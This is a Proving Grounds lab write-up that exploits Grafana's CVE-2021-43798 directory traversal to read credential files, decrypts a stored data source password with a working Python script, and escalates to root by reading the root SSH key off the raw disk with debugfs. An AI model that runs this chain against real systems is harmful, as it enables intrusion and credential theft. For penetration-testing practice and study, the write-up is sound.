# Fanatastic Writeup - Proving Grounds

> Intermediate Linux box using Grafana's CVE-2021-43798 directory traversal to leak and decrypt a Prometheus data source password for SSH access, then abusing disk group membership to read root's SSH key off the raw block device.

- **URL:** https://hackindex.io/writeups/fanatastic
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** path-traversal, information-disclosure, group-membership-abuse, privilege-escalation, grafana, cve-2021-43798
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Fanatastic runs Grafana 8.3.0 next to Prometheus. Grafana's directory traversal (CVE-2021-43798) gives arbitrary file read, which leaks its SQLite database and config file. Decrypting the stored Prometheus data source password gives SSH access, and membership in the disk group lets us read root's SSH key straight off the raw block device.

## Reconnaissance

### Nmap

Scan all ports.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp   open  ssh   OpenSSH 8.2p1 Ubuntu
# 3000/tcp open  http  Grafana 8.3.0
# 9090/tcp open  http  Prometheus Time Series Collection and Processing Server
```

Grafana 8.3.0 is vulnerable to CVE-2021-43798, an unauthenticated directory traversal through plugin API routes.

## Exploitation

### Grafana directory traversal (CVE-2021-43798)

Run the public exploit, which provides an interactive arbitrary file read prompt.

```bash
python3 50581.py -H http://$TARGET_IP:3000
# Read file > 
```

Read `/etc/passwd` to enumerate users.

```bash
Read file > /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# <snip>
# sysadmin:x:1001:1001::/home/sysadmin:/bin/sh
# prometheus:x:1002:1002::/home/prometheus:/bin/false
```

Pull Grafana's SQLite database for its stored credentials.

```bash
Read file > /var/lib/grafana/grafana.db
# # user table
# admin	admin@localhost	<bcrypt hash>
# # data_source table (type: prometheus, url: http://localhost:9090)
# sysadmin	anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
```

The data source stores an AES-encrypted password for user `sysadmin`. Read Grafana's config for the decryption secret.

```bash
Read file > /etc/grafana/grafana.ini
# ;secret_key = SW2YcwTIb9zpOOhoPsMm
```

That is Grafana's default `secret_key`, left unchanged. It derives the AES key that encrypts `secure_json_data`.

### Decrypting the data source password

The encrypted blob is `[8-byte salt][16-byte IV][ciphertext]`, and the AES key is `PBKDF2(SHA256, secret_key, salt, 10000)`.

```python
import base64
from hashlib import pbkdf2_hmac
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

secret = 'SW2YcwTIb9zpOOhoPsMm'
encrypted = base64.b64decode('anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==')

salt = encrypted[:8]
iv = encrypted[8:24]
ciphertext = encrypted[24:]

key = pbkdf2_hmac('sha256', secret.encode(), salt, 10000, dklen=32)
cipher = Cipher(algorithms.AES(key), modes.CFB(iv))
decryptor = cipher.decryptor()
password = decryptor.update(ciphertext) + decryptor.finalize()
print('Decrypted:', password.decode())
```

```bash
python3 decrypt.py
# Decrypted: $SYSADMIN_PASSWORD
```

### SSH as sysadmin

Log in with the decrypted password.

```bash
ssh sysadmin@$TARGET_IP
# sysadmin@fanatastic:~$ id
# uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)
```

## Privilege Escalation

### Disk group membership

`sysadmin` belongs to the `disk` group, which grants raw access to block devices and bypasses filesystem permissions entirely.

```bash
df -h /
# /dev/sda2       9.8G  5.6G  3.7G  61% /
```

Read root's SSH private key straight off the raw device with `debugfs`.

```bash
debugfs /dev/sda2 -R 'cat /root/.ssh/id_rsa'
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ
# <snip>
# -----END OPENSSH PRIVATE KEY-----
```

Save it and SSH in as root.

```bash
echo '<root private key>' > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key root@$TARGET_IP
# root@fanatastic:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [CVE-2021-43798](https://nvd.nist.gov/vuln/detail/CVE-2021-43798) - Grafana directory traversal via plugin API routes.
- [Exploit-DB 50581](https://www.exploit-db.com/exploits/50581) - Grafana 8.3.0 directory traversal exploit.
- [jas502n/Grafana-CVE-2021-43798](https://github.com/jas502n/Grafana-CVE-2021-43798) - Decrypts Grafana secure_json_data values once the secret_key is known.